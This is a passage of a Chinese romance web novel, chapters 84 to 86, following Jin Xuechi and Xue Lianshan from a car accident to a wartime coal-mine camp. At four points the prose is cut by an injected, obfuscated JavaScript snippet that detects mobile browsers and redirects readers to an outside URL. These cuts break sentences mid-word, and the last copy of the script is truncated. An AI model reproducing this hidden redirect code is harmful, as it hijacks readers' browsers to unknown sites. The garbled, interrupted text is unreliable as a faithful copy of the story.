金雪池没料到他还有脸训斥自己,冷冷道:“你开的什么车?” “我回去肯定要受处分,那是另一回事。现在我要给你包扎。” 金雪池站起来,面不改色往伤口上淋水、洒止血粉、缠纱布,用牙齿和左手打了个结,然后又吞了两片阿司匹林。她流着金文彬的血,某种意义上来说,是个亡命徒,这种情况下不仅不怕疼,还视死如归。 戴鸿飞看她完全是记恨上自己了,也冷哼一声,对着自己的腿一阵粗暴处理,仿佛是要跟她比谁能忍疼似的。金雪池才懒得理他,她去看薛莲山的情况。他的脑袋上只有伤口,骨头没坏,但谁知道内部如何了呢?她简直怕他醒不来。 两人靠着崖底枯坐一夜,第二天清晨,薛莲山悠悠吐出一口气,然后咳起来,咳着咳着睁开眼。金雪池连忙把水壶递到他嘴边,他喝了一点,大致扫视了一下状况,道:“给你们拖后腿了。妹妹怎么了?” 金雪池开始觉得疼了,“被子弹擦了一下。” 缠那么厚的绷带,应该不止是擦了一下,但只要性命无虞,不是说这个的时候。他刚扶着土坡站起来,金雪池又抢白道:“我们回去,去美国。” 戴鸿飞大叫道:“军令状都立了,岂能说走就走?” “谁立军令状了?” “回信就是立军令状了!君子一言,难道不是军令状?路上遇到点坎坷,话就要收回去?金小姐,我看不惯你的作风,你是好逸恶劳、临阵逃脱之人。” “你是那种会在家训练老婆踢正步的人。” 薛莲山说:“好了。” 两人都闭了嘴,戴鸿飞摆出很冷峻的样子,金雪池面无表情。薛莲山又道:“汽车坏了,麻烦大家把座椅垫子卸下来,再把行李铺上面,拖着走。戴督导走不走得动?” “走得动。” 他们把行李整理出来,铺在厚垫子上,主要是金雪池和薛莲山在拖,戴鸿飞拄着一根树枝勉强跟着。金雪池这会儿就觉得胳膊非常之痛了,痛到半边身子发麻,头也疼,一阵一阵地出冷汗。她竭力忍着。耳边一直是他粗重的喘息,喘了一段路,开始咳。 就这么走走停停,一直到晚上,才碰到了一座村庄。他们求宿在了一对年迈夫妻的家里,方言不通,但是戴鸿飞一走进来,他们就开始磕头叫军爷。戴鸿飞皱了眉头,一手一个拽起来,“是我们该说谢谢,何必如此?” 两个老人仍然诚惶诚恐,窜来窜去地拿酒拿菜。屋子及其简陋,只有一个正堂,没有隔间,角落用石头砌了一个火塘,做饭、照明用;另一侧铺了几张草席,就在地上睡觉。墙是夯土墙,门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377473|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和窗都是卡进去的,风雨一吹,嘎吱嘎吱响。 因为没有桌子,几碗小菜就放在了地上。 薛莲山身体不舒服,也顾不上是黄泥地,一进屋就坐了下来。他很友好地朝老婆婆笑,然后从行李里掏出金雪池的画画本,画了一座山,画了几个小人拿铲子,然后在山肚子里画了个球,涂得黑黑的,最后在球上画了簇火焰。“煤。”他说。 婆婆若有所悟。 他指了指小人,又指了指他们三人。 婆婆恍然大悟。 他再把金雪池拉过来,指了指她的伤口,指了指自己的伤口,双手合十,拜了拜。 婆婆和他对着拜。 这一顿当然不能吃两个老人家的,他们有干粮,各自吃了。考虑到现金在山间可能不流通,薛莲山送了她一块香皂、一枚打火机,婆婆一开始坚决不要,后来羞涩地收下了,两人打着手语聊起天。 戴鸿飞找了个角落缩着休息去了,睨着他们,不知作何感想。 安抚老人结束,薛莲山坐到金雪池身边,道:“我给你换药,我看看。” 金雪池可怜巴巴地等待已久,急切地要把伤口展示给他看。绷带揭开,他轻轻“嘶”了一声,她眼里当即蓄满了泪水。 角落里的戴鸿飞不可置信地瞪圆了眼。 血已经止住了,但考虑到感染风险,他给她涂了红药水,再上了道抑菌用的磺胺嘧啶软膏,小心翼翼地缠上新绷带。金雪池侧靠在他身上,半阖着眼,嘴里嘤嘤呜呜地出声,他在她头顶亲了又亲,“是我不好,每次都叫你受伤。到了大定县,立刻让医生给你瞧瞧......” 她在他怀里缩得更小、更柔软,是一只软体动物,没有大脑和礼义廉耻,只填充了水,他用力一挤,水就从眼眶里往外冒。冒多少,他都有耐心擦。 薛莲山简直不知道怎么爱她才好,受了这么严重的伤,白天赶路的时候她说卖力就卖力,现在也不吵不闹,只安安静静地流眼泪。这么委屈!她早上就是不走路,在地上撒泼打滚,他都能理解。本来就是他照顾她,他要带她来。他并不要求女朋友多理性,但她就是天生理性的人,他认为当下应该做什么,她就想的和他一样。 这么委屈!他恨不得咬她一口,但看她实在疼痛难忍,只是紧了紧手臂,“我抱着你睡,好不好?你要是夜里发热,我会知道。” 金雪池其实觉得自己要发热早发热了,现在就是疼,疼得难熬。奈何他实在会照顾人,一只手摸她后背,一只手大力揉捏伤口周围的筋骨,揉得酸酸麻麻、很是舒服,舒服似乎辐射到伤口上去,抵消了疼痛。熬到后半夜,她也睡过去了。 她醒的时候,另外两人早醒了,戴鸿飞坐在角落咬烧饼,薛莲山正在看她。她右手受伤了,不耽误把左手折在胸前,手腕向内扣。 “醒了?”他轻声说,“可以再眯一会儿,戴督导用手表和村民换了一头牛,接下来的路程会容易些。” 金雪池摇了摇头,天光大亮,她又是一阵懊悔:昨晚在干什么?就那么疼?又像个小孩子一样在他那里求摸求抱的......该死,金雪池,你真是什么出息也没有! 84.营地 到大定县的当天,金雪池和戴鸿飞立刻进了医院,薛莲山独自去电报局给许豫生拍电报,说路上发生了何状况,他们可能要在县里盘桓几日再上山。 回去时给两人各买了一袋油炸粑,不管戴鸿飞爱不爱吃,反正金雪池爱吃炸物。 金雪池正在用左手进行艺术创作,临摹□□,她画机械比画人好看多了,起码有形准之美。她跟他说:“这枪好,勃朗宁开枪的时候枪头会往上跳,这个不会动。” “这是德军制式武器,岂有不好的。”他答道,“产地就是口碑。德国的军械,法国的服装,意大利的超跑,瑞士的钟表……普通人感受不出来,像妹妹这样识货的不多。” “我也算不上识货,就摸过两种枪。” “喜欢枪?” 她摇头,“枪和钱一样。我也没有特别爱钱,但有总是好。” 我会给你很多的。薛莲山咽下了这句话,类似的话,他说了很多次,金雪池是个乖孩子,从不质疑。但他自己也觉得抱歉,事未定就先允诺,实非君子所为。以后再不说了。 真憋屈。他手头阔绰的时候遇到大把不甚在意的女人,偏偏在手头窘迫的时候遇到最想讨欢心的金雪池。 下午医生给金雪池做了些处理,清创、缝线。因为打了麻药,并不特别疼,何况薛莲山一直坐在贴墙的长椅上盯着医生的动作看,微微蹙起眉毛,替她痛苦似的。她用余光瞟到那双眼睛,心里就乱跳。 缝线结束,又打上抗生素点滴,疼痛就一点点苏醒了。 但金雪池再不肯显露出来,只是闭着眼。大定县在山脚,非常凉快,但她渐渐出了一头的汗,痛苦不言自明。薛莲山掏出手帕给她擦脸。一阵香水味袭来,她原本能感受到眼皮外面的光线,现在完全地暗了下去,影影绰绰,像是在盖头里。 他是西式的男人,大概不喜欢盖头。 这回又是雷声大、雨点小,缝合创面后,里头的肉长得很快,不到一个月就好了。金雪池希望它能好慢一点,显现出自己的可怜,可是偏不如她所愿,每回都可怜不了多久。 那边戴鸿飞倒是伤筋动骨一百天,但他不敢在医院里久待,金雪池出院,他也跟着出院,腿上夹着夹板;除了不能开车以外,骑马、走路还是可以。他找到了自己在县上寄养的三匹矮脚马,一人一匹,带他们上山。 磴道狭窄,只容一马通行,外侧是斜斜的梯田。正是玉米灌浆的时节,青纱帐顺着山势铺展开,有戴斗笠的妇孺蹲在田埂上,偶尔抬头望他们一眼,又低下头去——一阵风来,油亮玉米叶子在阳光下波光粼粼,盖住了人,一个也看不见了。 薛莲山对戴鸿飞说:“我已经闻到了。” 闻到什么了?又往里走了很长一段路,金雪池才渐渐闻到硫磺气,混着草木的腥甜,像有人在远处烧着湿煤。 越往山里走,树越密,松针和樟树叶遮天蔽日。山道旁的土坡上开始出现浅坑,坑边堆着没运走的煤块,旁边扔着锈迹斑斑的铁镐,木柄上被手磨得光滑;偶尔还能看见远处半山腰有个黑黢黢的洞口,应该是煤窑。 戴鸿飞道:“黑箐山被当地山民开采了数十年了,不成规模,东一榔头西一棒子地挖。经勘探,底下有极其丰厚的煤矿资源,现在收编为国家所有,禁止私自开采。若遇到不守规矩的山民,请积极举报。” 这对他们俩来说是废话,他们一个山民都不认得。 地势忽然平坦了起来,眼前出现了一大片夯土墙、茅草顶的屋子,大概是生活区域。山道两旁立了两根圆木柱,拉了一道横幅,上面写着:开发煤藏,支援抗战!门框旁边站着两个穿灰色军装的守卫,背着步枪,腰间系着子弹带,啪地给他们行礼:“督导好!” 戴鸿飞点了一下头,策马长驱直入。 进了营地,首先看到一个立牌,上面密密麻麻地写了营地守则,第一条就是六点起床、十点熄灯......金雪池扭头不看,学着他们栓马。 其实她不会骑马,现在小腿上又都是青的。但她觉得骑着骑着就会了,以及不想当着戴鸿飞的面,和薛莲山同乘一匹。 戴鸿飞把拐杖从包袱里掏出来,尽量走得健步如飞,给他们介绍那些建筑。 营地中央是食堂,算是这片区域最气派的建筑——用砖石砌了半人高的墙,上面搭了木架,盖着瓦片。食堂门口搭了一列用黄泥砌成的灶台,上面架着大铁锅;灶台旁堆着不少煤块、菜筐,里面装着从山民手里收来的土豆、红薯和青菜。门口木柱上挂一个铁皮水桶,桶底接着一根竹管,连着旁边的山泉,算是自来水,不过水流细小,得等半天才能接满一桶。 “热水在这里取,”戴鸿飞一指灶台上的大锅,“勤务员会保证一直有热水。” 他又一转身,指向食堂对面的一座小木屋,门框上挂了“医务室”的牌子,“这是医务室,不过只能做简单、紧急的处理,重伤还是得送到县上去就医。” 最后带他们去宿舍,薛莲山的宿舍已然是条件最好的,单人间,还有个堂屋,里面可摆下一张大桌子;卧室虽小,但也给他塞下了一个衣柜。因为金雪池是临时来的,戴鸿飞先撇下他们俩,跑去找人给她收拾房间。 他一走,薛莲山就坐在了床榻的草席上,心如死灰,“我死了,都不用额外找棺材,这么一卷就可以拖出去埋。” 金雪池刚想说这草席卷你有点短、卷我刚刚好,转念一想,他上回就为自己说死而她不阻止感到生气,于是说了句吉利话:“你不会死的。” 薛莲山当时没反应过来,想我不过是开句玩笑,何必这么认真。等金雪池被戴鸿飞领走了,他忽然乐不可支。 金雪池的宿舍就糟糕一些,四人间。矿区女生不多,就这么一个宿舍,一位是勤务组组长张芬,是位大娘,早年在大定县妇联工作;一位是技术组的成员,刚从本地大学毕业,名叫杨晓茹;还有一位谢世璧谢小姐——戴鸿飞就介绍了这么一句。 现在舍友们都不在,她铺床、整理行装,花了一两个小时,心里倒蛮有成就感,觉得自己越来越能干了。夕阳西下时分,她有些饿,但是不知道能不能直接去食堂吃饭,戴鸿飞好像也没把她介绍给别人。别人不认她,那多尴尬,因此决定先去找薛莲山。 走到他门口,里面有隐隐的谈话声,她就又挪远了一点。等了十几分钟,先出来了一位身材结实、面目黧黑的男人,薛莲山紧随其后,冲她笑:“叫许副部。” 金雪池连忙一个鞠躬,“许副部好。” 许豫生摆了摆手,对于她,他自然不必说什么话。何况刚才薛莲山弄得他很不悦,步步紧逼就谈钱,让他什么时候汇第一笔、什么时候汇第二笔,语气虽温和友好,要求却极为强硬,还非让他签合同画押不可。商人逐利,他瞧不起他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17383147|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人自行去吃饭,饭不精致,但是大锅炒出来的,有锅气。她埋头吃着,他正掀袖子看她伤口,戴鸿飞突然举着个铁喇叭走进来,召集所有人集合。 他们还没搞清楚情况,就有一大波人涌了进来,也不坐,就站着。戴鸿飞起了个头,所有人就开始一起背诵:“今日多流一滴汗,明日少流一滴血!干活不惜力,纪律不放松......”诵声在本不大的食堂里振聋发聩,戴鸿飞就背手拎着个喇叭在人群中穿梭,仔细研究每个人的音量,帽檐依然压得很低。 薛莲山把她袖子放下来,轻声问:“怎么看?” 金雪池轻声道:“装货。” 背诵结束,戴鸿飞介绍了他们。金雪池只是把头埋着,薛莲山则笑着挥了挥手。黑箐山是最缺人的一个项目,不然许豫生也不至于硬要他来,在场的成熟人才也少,大多都是临时抓的,年纪也轻,鸦雀无声,因为都听说过他,是业内有名望的人物。今日一见,才知道这么年轻;功成名就十年归来,还只三十出头。 住在山上,每天洗澡肯定是不可能的。好在山中凉爽,也不太出汗,三四天洗一次不会臭。她带了杯子、牙刷出门,蹲在一条水沟边刷牙,刷着刷着,就听到灌木丛后有人说话。 一个年轻女孩的声音传来:“......应该再在医院住一段时间。” 男声是戴鸿飞的,很低,“我没关系。只是不知道谢局长会如何处置我。” “爸爸不会为难你的。薛专员有拍电报去投诉你吗?” “不知道。” “你不要跟人家横眉冷对的!去求求情,他真要整你,让你记大过,你就完蛋了。” “这不是——求情不求请的问题,我怎么会干这种事?该怎么处置就怎么处置。” 那女孩子急得跳脚,“我的话你也不听?你不去,我去!” “你去什么?你回来,这跟你——” 金雪池闪身躲到了屋子的另一侧,就看到一个穿月白衫褂、留短发的女孩从灌木丛后跨出来,小尖脸、弯月眉,作势往薛莲山的宿舍走。戴鸿飞跟着跑出来,一把拉住她的手腕,急切地跟她说着什么,一边说一边摇她。由于她又高又纤瘦,摇出了弱柳扶风的美感,软缎挂在臂上,被风吹得觳纹涟涟。 金雪池差不多猜到这人是谁了。 她觉得戴鸿飞应该放谢世璧去,只要这林黛玉似的谢世璧一开口,薛莲山绝对什么话都好说。虽然薛莲山似乎也不打算投诉他。 她绕了半个营地,把口漱完才回宿舍,其余三人都已经在各自的床位上了。刚才碰见的果然是谢世璧,灯下看,更美。那位杨晓茹的长相却过于阳刚,方脸浓眉,唇上的绒毛也重。二位见她回来,只打了个招呼,都认为她是薛莲山的情妇,不干不净的。 只有张芬态度好,妇女工作做得多,天下妇女她都接纳,哪怕是情妇。她拉着金雪池天南海北地聊,金雪池便不经意透露了薛莲山尚未结婚的信息,自己和他的关系,叫做男女朋友。 于是另外两人也加入聊天了。 对于拉家常,金雪池没什么兴趣,何况她的家常和薛莲山的家常都不可深挖。但她有了要与人建立友好关系的意识,第一天到,不把自己的情况和盘托出,在集体里待不下去。 干巴巴的二十分钟过去,大功告成,她往竹榻上一趟,怀念起席梦思。 85.水帘洞 第二日早上是被张芬摇起来的,她猛地一睁眼,以为要迟到或者误了工作,又后之后觉地想起面前还没人给她分配工作。 “那么,你也该早起,年轻人要养成好作息。” “谢谢你。”她忙道,“如果方便的话,你每天可以叫我一下吗?我以前都是依靠闹钟。” 张芬满口答应,出门去了。宿舍里静悄悄的,一束阳光从窗子外射进来,可以看到空气中细小的浮尘在光柱里悠悠飘扬。她盯着出了一阵子的神,轻轻一吹,浮尘立刻被扰乱,四散溃逃。 她掏出了铅笔和画画本。 薛莲山是早就起了。他昨晚把自己的工作从头到尾了解了一遍,今早就点了四个技术组的人,让他们带他下窑。四个都是年轻人,一个是金雪池的舍友杨晓茹;一个叫安广,是个脑袋很大的彝族青年,据他自己所说,是水西土司的后代;剩下两个叫姚如松、姚如柏,是一对孪生兄弟。 去的路上很安静,都不说话,都怕他。薛莲山率先找为自己牵马的安广闲聊,“你是留洋回来的?” “是。”安广立刻答道,“学的机械与工程。” 他以为薛莲山要问专业问题,或者问履历、工作经验、规划,结果薛莲山笑眯眯地问:“留学生活好玩吗?” “还挺好玩!我去的法国,学业并不紧张,对中国人也算友好。我爹以为那边生活很贵,其实是我诓他的,多要了很多钱,一放假就去周边国家旅游。比利时啊、瑞士啊、德国啊、意大利啊......” 杨晓茹忍不住叫起来:“你到底学习了没有?” “反正论文是写出来了。”他又补充一句,“不是找枪手写的啊!自己写的,千真万确。” 众人一顿哄笑,薛莲山也笑,“不会都是周游列国过的吧?” 姚如松答道:“我们三个都是国内的研究生。晓茹是金陵大学的,我和如柏是国立四川大学。” 薛莲山很得意地想:都不如我们妹妹。 一阵湿润的山风吹过,雾气流转,豁然开朗,前方的景象是诗中的“两山排闼送青来”。他深吸一口气,感觉凉意顺着气管钻进肺里,身体、乃至头脑都变得空明一片,念头很干净。 他想金雪池现在在做什么呢?还没起来吧? 前方的山壁上开了一排窑洞,有新开的,有过去遗留的,杂乱无章。姚如松领他进了最主要的窑,迈过洞口半尺高的石坎,一脚就陷进了厚厚的煤泥里。 薛莲山知道不能糟蹋皮鞋,已经是穿着布鞋了,不料洞里是这番状况,只好脱了鞋袜,赤脚往里走。 洞道是顺着煤层走势斜往里掏的,地面高低不平,积着没过脚踝的黑泥,踩上去咕叽咕叽直响。马灯的光扫过洞壁,能看见密密麻麻的凿痕,有的地方土块还在往下掉、露出其中的青灰岩层。 再往里走,空气里的煤尘渐渐重了,混着刺鼻的瓦斯味。本来就空气稀薄,何况洞道狭窄,仅容一人通过,他们蚂蚁似地头尾相接跟着走,走得晕头转向,不知道走了多久才到尽头。尽头是道新凿的煤壁,上面用白石灰画了个圈。薛莲山用手对着那煤壁又敲又摸,又伸手撑洞顶部,这洞开得不高,他没法完全把手臂伸直,顶上也潮。 杨晓茹大声问:“薛专员,要我说,得排水吧?” 薛莲山用没提灯的那只手按着脸上的口罩,“出去说。”他要晕了。 好不容易重见天日,不仅是他,几个年轻人俱是大口喘气。薛莲山把鞋袜塞在马褡裢里,赤脚踩蹬上马,悠悠掉了个头。杨晓茹又策马追上来问:“薛专员——” “哎。”他应道,“具体的我们回去说,不过工人下午就可以开工了,先别往深了挖,先砍杉木,要直径一尺以上的。安同学,提问,为什么不用松木或者别的木头?” “是要架横梁吗?”安广立刻说,“页岩塌的时候会往两边挤,杉木的纹理直,抗剪切力强。” 薛莲山摘下口罩,擦脸擦手,又问:“谁学的地质?” 都不吭声,因为技术组技术组,都是学工程的,来之前进行了一点有关岩层结构的培训。他便从兜里掏出随手捡的一块煤抛给姚如柏,姚如柏一路安安静静,不料他会注意到自己,手忙脚乱接住了。 “别紧张,”薛莲山笑道,“闻一闻,什么味?” 姚如柏嗫嚅道:“好像有点烟味,有点淡,可能是洞里的味道?” “就是它的烟味,我们首先可以判断其为烟煤。烟煤又分好几种,这一种呢,呈玻璃光泽——有黑色光泽,但不是油光;断口为贝壳状或阶梯状。是焦煤。杨晓茹。” 杨晓茹响亮地答道:“到!” “焦煤适合做什么?” “冶炼钢铁,生产煤焦油、煤气等化工产品。” “你是认真上了培训课的。”薛莲山继续道,“还可以烧锅炉,非常有效。不管后期是用蒸汽车、蒸气抽水机还是别的什么,我们都可以自给,不必去县里采买。” 姚如松估摸着要问到自己了,全神贯注。但是薛莲山没有再说话,把口罩擦脏后,又掏出褂子内侧揣的手帕,蘸水再把脸和脖子擦了一次,又一根一根地擦手指。这对他的精神是一种拷打。 等薛莲山终于叫“姚如松”的时候,他几乎跳起来了。 “我的脸擦干净没有?” “......很干净。” 薛莲山哈哈大笑起来,把马交给他栓,疾步穿越营地,准备回宿舍取木盆擦身洗衣。胜利的曙光就在眼前,身后却忽然传来一阵急促的脚步,是不带胶底的绣花鞋踏在土地上的声音,很沉闷。金雪池从宿舍的窗里看到他回来了,一路追上,然后站在他面前,庄重地一点头,“回来了。” 四目相对,都很惊讶。 她是第一次看薛莲山穿传统服饰,上一件纯白的洋纱褂子,扣子扣到最上面一颗;下面的裤子卷起了裤脚,赤着脚,小腿上都是黑色的污渍。脸却是白的。 有种说法是越好看的人,长相越清晰,她就觉得他五官很清晰:形状优美的眼、有体量感的鼻子、淡色的唇,没有一处模糊、拖泥带水。不仅清晰,且在这一身简朴肮脏的衣物里显出了洁净。“莲”的洁净。 纵使她这样无表情的人,也不自禁微笑起来。 薛莲山其实不打算让她看自己一身煤尘的样子,但她非要追出来“欢迎他回家”,此事总给他一种淡淡的幽默感。 他也庄重道:“回来了。” 金雪池就预备走了,“去洗一洗吧。” “稍等,我有事告诉你。” “什么?” 他以迅雷不及掩耳之速在身上抹了一下,再抹到她脸上。金雪池毫无防备,被他抹了一脸黑,跳起来跑了。 她擦了脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386184|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就去吃饭,吃到一半,薛莲山也进了食堂,但她完全无法近身,他周边围了一圈特别吵的人。金雪池观望片刻,感觉自己是挤不进去了,就回房睡午觉。 睡到一半,被杨晓茹提了起来。 “你一直没起来吗?” “不是,我刚刚才......” “好,跟我来!”杨晓茹雄赳赳气昂昂地把她拖到了一间更宽敞的土房子里,其中摆了许多桌椅,疑似从县里小学里拖来的,上面用小刀刻满了小学生语录。“以后你要和我们同等作息,不许睡个没完。先醒醒神,我马上回来。” 金雪池就坐在原地醒神,对面只坐着个男人,不知道是真老还是长相显老,一直在抖腿,抖得腰间的钥匙串哗啦哗啦直响。那人问:“是叫金雪池?” 她点了一下头。 “我叫章子敬。你今天正式进组了,我是你的组长。” “哦,组长好。” 章子敬睨了她几秒钟,忽然噗嗤一声笑出来,一边抖、一边将上身压到桌子上,做出一个探寻式的姿态,伸出一根手指,摇摇地点了她两下,“你学数学?” 金雪池感觉到了他的轻蔑,只是沉默。章子敬又笑了一声,趴得离她更近,她甚至能问到他身上的烟味,“昨晚我翻阅德国学者范德瓦尔登的《近世代数》,书中有讲有限群论,你知道Sylow定理的核心结论有哪三条吗?特别是第三条关于Sylow子群计数的表述,记得起来吗?” 金雪池没看过《近世代数》,但在群论初步课上学过这个Sylow定理,“呃,第一条是说有限群G的阶为n=p^k*m,p为素数,p不整除m,则G必有 p^k 阶子群,即Sylow p-子群。第二条是任意两个Sylow p-子群共轭......第三条......好像是关于 Sylow p-子群的个数,好像与群的阶数有关......” “有什么关?” “记不太清楚是‘该个数整除m且同余1模p’,还是‘整除n且同余1模p’了。” “这么关键的结论都不记得?” 她脑子里嗡嗡的,全是我给薛莲山丢人了,拼命地回忆着。好像做过一个习题?证明15阶群必为循环群。但是这个计数定理的表述到底是什么? 空气一时陷入尴尬的沉默中。章子敬长叹一口气,倒在椅子上,大喊大叫道:“第三条是Sylow p-子群的个数t满足t整除m,且t≡1 mod p。比如6阶群,n=2*3,取p=3,m=2,t必整除2且≡1 mod 3,只能是1,所以6阶群仅有一个Sylow 3-子群,且该子群正规。这可是有限群分类的基石结论,还能记不清楚?” “哦,哦,是的......” “是的!我都说出来了,你在这个时候说是的!” 金雪池往后一推凳子,出了门,准备现在就去跟薛莲山说自己不当壮丁了,到县上去等他。走出一段路又觉得不对,她一点理都不占。章子敬固然态度不好,人家却是上级,你学问不好,凭什么挑对方的理呢?工作还没开始就打退堂鼓了? 小姐脾气! 她又退回去。章子敬还在那里抖腿,见她回来,冷哼道:“金小姐,我看你好像缺乏一点教养,对领导一点基本的尊重也没有。你也别回来了,免得中途再退出,那麻烦才叫大。” 86.应念岭海经年 金雪池不理他,盯着桌子上的小学生语录,一动不动。 十几分钟后,杨晓茹、姚如松等人抱着实测草图、设计图等等图纸和一摞本子来了,薛莲山也跟在后面,手里捏着一支雪茄,他不进来,就站在门口观望。 章子敬开口就叫:“薛专员,还是把你这位优等生带走吧!她——” “子敬,你好。”薛莲山一点头,“有什么话出来说。” 章子敬一听他喊自己“子敬”,异常气恼,但不得不跟着他走出去;其他几人显然十分好奇,竖着耳朵,试图听到谈话内容。金雪池仍然盯着桌子。 三分钟不到,章子敬就重新坐回来了,一言不发。薛莲山依然伫在门口,没有看她,“那么你们先忙,我跟督导去一趟县上。” 安广插嘴道:“帮我带一袋槟榔。” 薛莲山闻言乐了,答应下来。 待他走后,章子敬并未出言责难,金雪池感觉自己应该是留下来了,但心里越发难受。杨晓茹给她分配任务,她就蔫头巴脑地做,交给对方之前,再三检查,生怕哪里再出错。 吃完晚饭,她抱着画画本坐到门口的一个石墩上,开始写生。由于太沉浸,直到前方“咔嚓”一声响,她才猛抬起头。谢世璧正举着相机,朝她柔柔地一笑,“不介意吧?我觉得你刚才的样子很美。” 她说不。 谢世璧的行踪和身份都十分神秘,她好像不干活,就是四处拍照,偶尔坐在食堂里写点文章。晚上女生宿舍很热闹,主要是听张芬讲她亲戚朋友的八卦,谢世璧也不听,只把脸藏在书后,用书皮上的烫金英文单词对着她们:《Nausea》。 金雪池不认得这个词,翻了词典,发现意思是“恶心”,觉得十分滑稽。 当然,后来谢世璧解释说这是一本中篇小说,写作手法很新颖,体现了一种存在主义哲学,没有说谁恶心的意思。但无论是她的解释还是她离群索居看书的样子,都表明她是一位文艺少女,对世界的批判多过忠实。她既拍美丽的女子,也拍肮脏的工人;既拍灯下油亮亮的西红柿,又拍窑洞、群山、炉子上半是水汽半是燃烧不完全的白烟。 有时候她甚至进入办公室,对着伏案工作的众人拍照。章子敬对谁都无礼,对她却堪称恭敬。 薛莲山回来的时候,带了几个山民,山民又带了骡子和马,浩浩荡荡拖了几车轨道上来。谢世璧在骡马中找了一圈,没有找到戴鸿飞,踌躇着去跟薛莲山打了个招呼,说了几句不相干的,又问:“督导是和你一起去县上的吧?” “是,”他低下头,认真回答道,“去医院里检查了一趟,医生说他骨头有点移位,我就把他留在那里了。移得不严重,正骨师当场就给他掰回去了,不必担心。” 谢世璧连忙鞠躬道:“好的,谢谢。” 薛莲山摆了摆手,大步去找金雪池。直接进去找是没意思的,要等她来迎接。他在办公室的窗外站了一会儿,金雪池就抬头看到他了,眼睛瞪得很大,然后无声地指了指章子敬。 他一动不动,觉得她太可爱了,工作认真也可爱,工作开小差也可爱。幸亏把她带到黑箐山来了。他不动,金雪池倒是分外焦灼,以为他非要等到自己不可,但又出不去。如坐针毡一刻钟后,他走了。 窗框空了,映着远处淡淡的两重山影。 一下班,她就跑去了他的宿舍,绕到卧室后方,也通过窗看他。他换了衣服,正对着镜子用水梳头。他梳,她就看,看了一会儿,大门哐当一声弹开,她迅速蹲下去,揪着地上的草;几个男孩子的声音在近处大喊大叫着:“薛专员你回来啦?吃了饭没有?” 薛莲山只好放下镜子,用手指完成最后的造型,“还没呢。” “那走吧!今天有炸洋芋!” 不容他再做收拾,几人风风火火地把他架走了。金雪池于是知道又要有一波新人爱上薛莲山了。她揪完野草,摘了几枝玉簪花插在窗棂被虫蛀出的小洞里。苍茫暮色中回头看,花茎细而长,花骨朵未开,因此显得坚硬,像是古代女子用以定情的簪子。 晚上漱了口,她估摸着他那里应该没人了,再去的。薛莲山正坐在榻上翻账本,她也不说话,就凑过去看。 他往里坐了坐,拍拍竹榻,“坐。在佩珀工作了那么久,会不会看账?” “其实我的工作不是做账......” “没关系,那你也懂什么叫原材料、什么叫加工费用、什么叫储存费用吧?” “差不多有个概念。” “做不同的工作的意义就在这里。跟进这项工程,你就不会仅仅从数学的角度看它,而会多一些经济的视角,考虑到如何节省成本,在不破坏资源的前提下加速开发。”他把账本放在床头柜上,取下眼镜,“还做得惯吗?如果你不想做,可以去大定县住。只是我觉得做点事比无所事事更好。好吧,其实我的意思是——我找许豫生给你发工资,他不给,你是白打工。” 金雪池笑起来,“哦,没关系,我可以做。” “不在县上住?” “不去。” “好,和我待在一处。”他轻声道,“我出门的每一刻都想着你。” 这是随口就说的,金雪池已经由身心俱震变得不为所动了,“哦”了一声。 其实他真的挺想她。 三天后他们去窑洞,把金雪池也带上了。她于是也不穿旗袍,穿了一套普通衣物,致力于和他做一对朴素的乡村小情侣。薛莲山不上马,对她笑:“我给你牵马。” 众目睽睽之下,金雪池很尴尬,连忙道:“我不会骑。你骑吧,别耽误时间。” “骑着骑着就会了。”他说着,要来扶她,还好马是矮脚马,金雪池自己翻上去了。安广见这情景便笑道:“薛大哥,你真喜欢嫂子!抱了几个呀?” 他是自来熟,对薛莲山已经不称职务,满口大哥大哥地叫。薛莲山理了理金雪池的裤脚,牵住缰绳,道:“我与金小姐并未结婚。” 没有在上流社会活动的需求,她又不是薛太太了。 “那什么时候结婚?” “对我的家事这么关心呀?我倒是听说你们这里结婚很早。” “我确实早结婚了,但我不回家,哈哈。” “停止这个无聊的话题!”杨晓茹忽然大喝一声,吓了所有人一跳,“现在是工作时间,走快些吧!” “我的错我的错。”薛莲山连忙道,再就闭了嘴,跟在队伍最后头。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 